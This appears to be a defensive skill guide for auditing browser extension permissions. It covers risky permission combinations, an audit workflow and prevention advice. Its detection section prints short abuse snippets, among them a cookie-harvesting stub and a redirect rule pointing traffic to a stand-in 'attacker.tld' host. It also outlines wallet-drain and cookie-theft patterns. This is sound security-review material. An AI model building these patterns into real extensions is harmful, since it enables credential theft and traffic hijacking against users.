Browser Extension Permission Audit
A skill for analyzing browser extension permissions and identifying security vulnerabilities in Chrome/Firefox extensions.
When to Use This Skill
Use this skill when:
- Analyzing a browser extension's
manifest.jsonfile - Investigating potentially malicious extensions
- Pentesting browser extensions for security vulnerabilities
- Reviewing extension permissions for compliance
- Auditing extensions for excessive privilege requests
- Investigating extension-based attacks or data exfiltration
Quick Start
# Analyze a manifest.json file
python scripts/analyze_manifest.py path/to/manifest.json
# Check for dangerous permission combinations
python scripts/check_risky_permissions.py path/to/manifest.json
Understanding Extension Permissions
permissions vs host_permissions
permissions - Controls access to privileged browser APIs:
storage- Persistent key-value storage (can't be cleared without uninstalling)cookies- Access to all browser cookies (credential theft risk)tabs- Tab management and monitoringhistory- Full browsing history accessbookmarks- Read all bookmarksclipboard- Monitor clipboard for passwordsgeolocation- Track user locationwebRequest- Intercept and modify network requestsscripting- Execute arbitrary code in pagesdeclarativeNetRequest- Block/redirect traffic
host_permissions - Controls which origins APIs can access:
"*://*/*"or"<all_urls>"- Access to ALL websites (extremely dangerous)"http://*/*", "https://*/*"- Same as above- Specific patterns like
"https://example.com/*"- Limited scope
Critical Permission Combinations
| Combination | Risk | Impact |
|---|---|---|
cookies + broad host_permissions |
🔴 Critical | Can steal auth cookies from any site |
scripting + <all_urls> |
🔴 Critical | Can inject code into any page |
webRequest + <all_urls> |
🔴 Critical | Can intercept/modify all traffic |
storage + tabs + host_permissions |
🟠 High | Wallet drain pattern |
history + bookmarks |
🟡 Medium | User profiling |
geolocation + clipboard |
🟡 Medium | Privacy invasion |
Audit Workflow
Step 1: Extract and Parse Manifest
# If you have the extension package
unzip extension.crx -d extension/
cat extension/manifest.json | python scripts/analyze_manifest.py -
Step 2: Identify Risky Permissions
Run the permission checker:
python scripts/check_risky_permissions.py manifest.json
This will flag:
- Overly broad
host_permissions - Dangerous API combinations
- MV3-specific risks (
declarativeNetRequestWithHostAccess) - Implicit privilege abuse patterns
Step 3: Analyze Runtime Behavior
Check for these abuse patterns:
Cookie Theft:
// Look for this pattern in background scripts
chrome.cookies.getAll({}, function(cookies) {
// Exfiltration attempt
});
Dynamic Script Injection:
// Dangerous: arbitrary code execution
chrome.tabs.executeScript(tabId, {code: maliciousCode});
chrome.scripting.executeScript({func: maliciousFunc});
Traffic Hijacking:
// MV3 rule injection
chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
action: { type: "redirect", redirect: { url: "https://attacker.tld" } }
}]
});
Step 4: Check for Supply Chain Risks
- Verify extension signature and publisher
- Check update history for sudden permission changes
- Look for
declarativeNetRequestWithHostAccess(weaker install prompt) - Review Web Store API key usage patterns
Common Abuse Patterns
1. Supply-Chain Trojanized Updates
- Stolen developer accounts push MV3 updates
- Add
<all_urls>+declarativeNetRequest/scripting - Inject remote JS to siphon headers/DOM content
2. Wallet Drains
- Host access +
storage+tabs - Backdoored wallet extensions exfiltrate seeds
- Stolen Web Store API keys ship malicious builds
3. Cookie Theft
cookies+ broad host access- Reads auth cookies despite
HttpOnly - Treat as credential-stealing capable
4. Implicit Privilege Abuse
tabs.create()- Bypass popup blockers, create unlimited tabstabs.update()- Modify existing tabs, load adsdata:URIs in Chrome - Phishing attacks- Webcam/microphone - One-time prompt, then always-on access
Prevention Recommendations
For Users
- Review permissions before installing extensions
- Use
activeTabpermission when possible (user-initiated only) - Check extension permissions regularly in browser settings
- Remove unused extensions immediately
- Be wary of extensions requesting
<all_urls>
For Developers
- Request minimum necessary permissions
- Use
activeTabfor user-initiated actions - Avoid
host_permissionswhen possible - Implement runtime permission requests for optional features
- Follow Google's policy: no excessive privileges
For Security Teams
- Monitor extension update patterns
- Check for sudden permission escalations
- Audit
declarativeNetRequestrules - Review
chrome://extensions/?errorsfor hidden issues - Test with
chrome://extensions/?id=<id>for developer mode
Reference Commands
# Chrome extension inspection
chrome://extensions/?id=<extension-id>
chrome://extensions/?errors
# Firefox extension inspection
about:debugging#/runtime/this-firefox
# View extension permissions
chrome://extensions/ (click extension → Details)
Scripts
analyze_manifest.py
Analyzes manifest.json and reports permission risks.
check_risky_permissions.py
Checks for dangerous permission combinations and abuse patterns.